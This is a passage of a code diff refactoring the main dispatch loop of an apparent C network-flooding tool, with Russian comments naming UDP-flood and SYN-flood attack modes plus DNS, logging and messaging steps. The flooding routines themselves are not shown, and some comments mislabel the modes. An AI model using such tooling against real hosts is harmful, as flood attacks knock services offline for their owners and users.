0) + case 1: // Режим сканирования портов (UDP) + status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя) + if (status == 0) // Если DNS разрешен успешно { - while (udp_status = my_udp()) + while (true) // Запускаем цикл UDP-атаки { - if (udp_status == 2) + status = my_udp(); + if (status == 2) // Код завершения атаки { break; } - else if (udp_status < 0) + else if (status < 0) // Обработка ошибок { - my_diag(udp_status); - log_status = my_log(); - if (log_status == 1) + my_diag(); // Выводим диагностику + status = my_log(); // Пытаемся записать в лог + if (status == 1) // Если записать лог не удалось { - my_msg(); + my_msg(); // Отправляем сообщение } } } - log_status = my_log(); - my_msg(); - my_fin(); + // Завершающие действия после атаки + my_log(); // Логируем завершение + my_msg(); // Отправляем финальное сообщение + my_fin(); // Корректно завершаем программу } - else if (dns_status == 1) + else if (status == 1) // Ошибка DNS-разрешения { - my_diag(check_params_status); - log_status = my_log(); - if (log_status == 0){ - my_fin(); - } - else if (log_status == 1) + my_diag(); // Выводим ошибку + status = my_log(); // Логируем ошибку + + if (status == 0) // Если лог получилось записать { - my_msg(); - my_fin(); + my_fin(); // Просто завершаем программу + } + else if (status == 1) // Если лог не удалось записать + { + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } } break; - case 2: - dns_status = my_dns(); - if (dns_status == 0) + case 2: // Режим SYN-флуда (TCP) + // Пытаемся разрешить DNS (если указано доменное имя) + status = my_dns(); + + if (status == 0) // Если DNS разрешен успешно { - while (tcp_syn_status = my_tcp_syn()) + // Запускаем цикл UDP-атаки + while (true) { - if (tcp_syn_status == 2) + status = my_tcp_syn(); + if (status == 2) // Код завершения атаки { break; } - else if (tcp_syn_status < 0) + else if (status < 0) // Обработка ошибок { - my_diag(tcp_syn_status); - log_status = my_log(); - if (log_status == 1) + my_diag(); // Выводим диагностику + status = my_log(); // Пытаемся записать в лог + if (status == 1) // Если записать лог не удалось { - my_msg(); + my_msg(); // Отправляем сообщение } } } - log_status = my_log(); - my_msg(); - my_fin(); + // Завершающие действия после атаки + my_log(); // Логируем завершение + my_msg(); // Отправляем финальное сообщение + my_fin(); // Корректно завершаем программу } - else if (dns_status == 1) + else if (status == 1) // Ошибка DNS-разрешения { - my_diag(check_params_status); - log_status = my_log(); - if (log_status == 0) + my_diag(); // Выводим ошибку + status = my_log(); // Логируем ошибку + + if (status == 0) // Если лог получилось записать { - my_fin(); + my_fin(); // Просто завершаем программу } - else if (log_status == 1) + else if (status == 1) // Если лог не удалось записать { - my_msg(); - my_fin(); + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } } break; - default: - my_diag(check_params_status); - log_status = my_log(); - if (log_status == 0) + case 0: // Некорректные параметры или запрос справки + case -1: + case -10: + case -20: + case -101: + case -600: + my_diag(); // Выводим диагностику + status = my_log(); // Логируем событие + + if (status == 0) // Без уведомления { - my_fin(); + my_fin(); // Завершаем программу } - else if (log_status == 1) + else if (status == 1) // С уведомлением { - my_msg(); - my_fin(); + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } break; } - return 0; -} + + return 0; // Возвращаем код успешного завершения +} \ No newline at end of file